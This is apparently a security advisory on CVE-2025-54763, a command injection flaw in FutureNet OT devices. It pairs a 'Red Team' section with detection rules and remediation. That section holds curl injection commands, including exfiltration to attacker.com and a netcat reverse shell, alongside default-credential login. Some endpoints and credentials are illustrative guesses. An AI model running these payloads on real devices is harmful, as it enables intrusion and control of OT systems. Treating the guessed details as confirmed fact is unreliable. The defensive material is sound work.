CVE-2025-54763

Executive Summary

CVE-2025-54763 is a critical OS Command Injection vulnerability affecting FutureNet MA and IP-K series devices manufactured by Century Systems Co., Ltd. An authenticated attacker with a valid Web UI session can inject arbitrary operating system commands, leading to full device compromise. The vulnerability resides in the web management interface, where user-supplied input is improperly sanitized before being passed to a system shell. With a CVSS score of 7.2 (High), this flaw poses a significant risk to operational technology (OT) environments where these devices are deployed for network monitoring and control. No public exploit code or patch is currently available, making proactive detection and mitigation essential.

CVSS Breakdown & Threat Level

• CVSS Score: 7.2 (High)
• Vector String: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
• Attack Vector (AV): Network – exploitable remotely.
• Attack Complexity (AC): Low – no special conditions required.
• Privileges Required (PR): High – attacker must have valid Web UI credentials.
• User Interaction (UI): None – no user action needed beyond login.
• Scope (S): Unchanged – impact confined to the vulnerable component.
• Confidentiality (C): High – full device data access.
• Integrity (I): High – arbitrary command execution.
• Availability (A): High – potential for denial of service or device bricking.

Threat Level: High. While authentication is required, default or weak credentials are common in OT environments. Successful exploitation grants full control over the device, enabling lateral movement, data exfiltration, or disruption of critical monitoring functions.

Deep Dive & Mechanics

The vulnerability exists in the web-based management interface of FutureNet MA and IP-K series devices. The application fails to properly sanitize user-supplied input fields (e.g., device name, SNMP community string, or diagnostic ping parameters) before passing them to a system shell via functions like exec() or system(). An authenticated attacker can inject command separators (e.g., ;, |, &&) followed by arbitrary OS commands.

Root Cause: Lack of input validation and use of unsafe shell execution functions. The web server likely runs with root or high privileges, amplifying the impact.

Attack Flow:

1. Attacker authenticates to the Web UI (e.g., using default credentials admin/admin).
2. Attacker navigates to a vulnerable page (e.g., system settings, network diagnostics).
3. Attacker injects a payload into an input field, e.g., ; id > /tmp/out.
4. The web application executes the command, writing output to a file or returning it in the HTTP response.
5. Attacker retrieves the output or establishes a reverse shell.

Affected Components:

• FutureNet MA series (all firmware versions)
• FutureNet IP-K series (all firmware versions)

Vulnerable vs. Patched Code

Since no patch is available, the following illustrates the vulnerable pattern and a secure alternative.

Vulnerable Code (PHP/Python example):

<?php
$input = $_POST['device_name'];
$cmd = "ping -c 4 " . $input;
$output = shell_exec($cmd);
echo $output;
?>

Patched Code (Secure alternative):

<?php
$input = $_POST['device_name'];
// Whitelist allowed characters
if (preg_match('/^[a-zA-Z0-9_\-]+$/', $input)) {
    $cmd = "ping -c 4 " . escapeshellarg($input);
    $output = shell_exec($cmd);
    echo htmlspecialchars($output, ENT_QUOTES, 'UTF-8');
} else {
    echo "Invalid input.";
}
?>

Key Differences:

• Input validation using a whitelist regex.
• Use of escapeshellarg() to prevent shell injection.
• Output encoding to prevent XSS.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• A vulnerable FutureNet device (e.g., MA-1000) with Web UI accessible.
• Valid credentials (default: admin/admin or brute-forced).

Exploitation Steps:

1. Authenticate to Web UI:

   curl -c cookies.txt -X POST http://target/login -d "username=admin&password=admin"
   

2. Identify vulnerable endpoint (e.g., /cgi-bin/diagnostics.cgi):

   curl -b cookies.txt http://target/cgi-bin/diagnostics.cgi
   

3. Inject OS command (e.g., ping parameter):

   curl -b cookies.txt -X POST http://target/cgi-bin/diagnostics.cgi \
   -d "ping_target=127.0.0.1;id"
   

4. Retrieve output (if reflected) or use out-of-band exfiltration:

   curl -b cookies.txt -X POST http://target/cgi-bin/diagnostics.cgi \
   -d "ping_target=127.0.0.1;curl http://attacker.com/$(whoami)"
   

5. Establish reverse shell (if netcat is available):

   curl -b cookies.txt -X POST http://target/cgi-bin/diagnostics.cgi \
   -d "ping_target=127.0.0.1;nc -e /bin/sh attacker.com 4444"
   

Metasploit Module (conceptual):

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking
  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(update_info(info,
      'Name' => 'FutureNet OS Command Injection',
      'Description' => 'Exploits CVE-2025-54763',
      'Author' => ['Valters IT'],
      'References' => [['CVE', '2025-54763']],
      'Targets' => [['Automatic', {}]],
      'DefaultTarget' => 0
    ))
  end

  def exploit
    # Authentication and injection logic
  end
end

Blue Team (Defensive)

Detection & Response:

1. Monitor Web UI logs for unusual POST requests to diagnostic endpoints.
2. Deploy WAF rules to block command injection patterns (e.g., ;, |, &&).
3. Harden credentials – change default passwords immediately.
4. Network segmentation – isolate FutureNet devices in a separate VLAN.
5. Enable logging of all shell commands executed on the device (if possible).

Honeypot Setup:

• Deploy a fake FutureNet Web UI using a Python Flask app that logs all inputs.
• Alert on any POST data containing shell metacharacters.

Indicators of Compromise (IOCs)

Network IOCs:

• POST requests to /cgi-bin/diagnostics.cgi or similar endpoints with payloads containing ;, |, &&, `.
• Outbound connections from the device to unknown IPs on ports 80, 443, 4444, or 1337.
• DNS queries to suspicious domains (e.g., exfil.attacker.com).

Host IOCs:

• Unexpected files in /tmp/ (e.g., /tmp/out, /tmp/.revshell).
• Processes running as nobody or www-data spawning shells (e.g., sh, bash).
• Modified system binaries or configuration files.

Log IOCs:

• Web server logs showing 200 responses to diagnostic endpoints with unusual parameters.
• System logs (if accessible) showing exec() or system() calls with injected commands.

Detection Engineering

YARA Rule

rule CVE_2025_54763_FutureNet_Command_Injection {
    meta:
        description = "Detects command injection payloads targeting FutureNet devices"
        author = "Valters IT"
        date = "2025-04-01"
        reference = "CVE-2025-54763"
    strings:
        $cmd1 = /[;&|`]\s*(id|whoami|cat|curl|wget|nc|bash|sh|python|perl)/
        $cmd2 = /(ping|traceroute|nslookup)\s*[;&|`]/
        $cmd3 = /127\.0\.0\.1[;&|`]/
    condition:
        any of them
}

Sigma Rule

title: FutureNet OS Command Injection Attempt
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects command injection attempts against FutureNet MA/IP-K series devices
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains:
            - '/cgi-bin/diagnostics.cgi'
            - '/cgi-bin/system.cgi'
        cs-uri-query|re: '.*[;&|`].*'
    condition: selection
falsepositives:
    - Legitimate use of semicolons in input fields (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2025-54763 FutureNet OS Command Injection Attempt";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/cgi-bin/diagnostics.cgi"; http_uri;
    pcre:"/[;&|`]\s*(id|whoami|cat|curl|wget|nc|bash|sh|python|perl)/Pi";
    sid:1000001;
    rev:1;
    reference:cve,2025-54763;
    priority:1;
)

Remediation & Mitigation

Immediate Actions:

1. Isolate affected devices from the internet and untrusted networks.
2. Change all default credentials to strong, unique passwords.
3. Disable unused web services and diagnostic endpoints if possible.
4. Apply vendor firmware updates as soon as they become available.

Long-term Fixes:

• Input validation: Implement strict whitelist-based validation for all user inputs.
• Safe API usage: Replace exec()/system() with safer alternatives like subprocess.run() with shell=False.
• Least privilege: Run the web server with minimal necessary privileges (e.g., nobody user).
• Web Application Firewall (WAF): Deploy a WAF with rules to block command injection patterns.

Workaround (if patching is not possible):

• Use a reverse proxy (e.g., Nginx) to filter malicious requests before they reach the device.
• Implement network-level ACLs to restrict access to the Web UI to only authorized IPs.

Valters IT
Securing the Future of OT/ICS
Report generated: 2025-04-01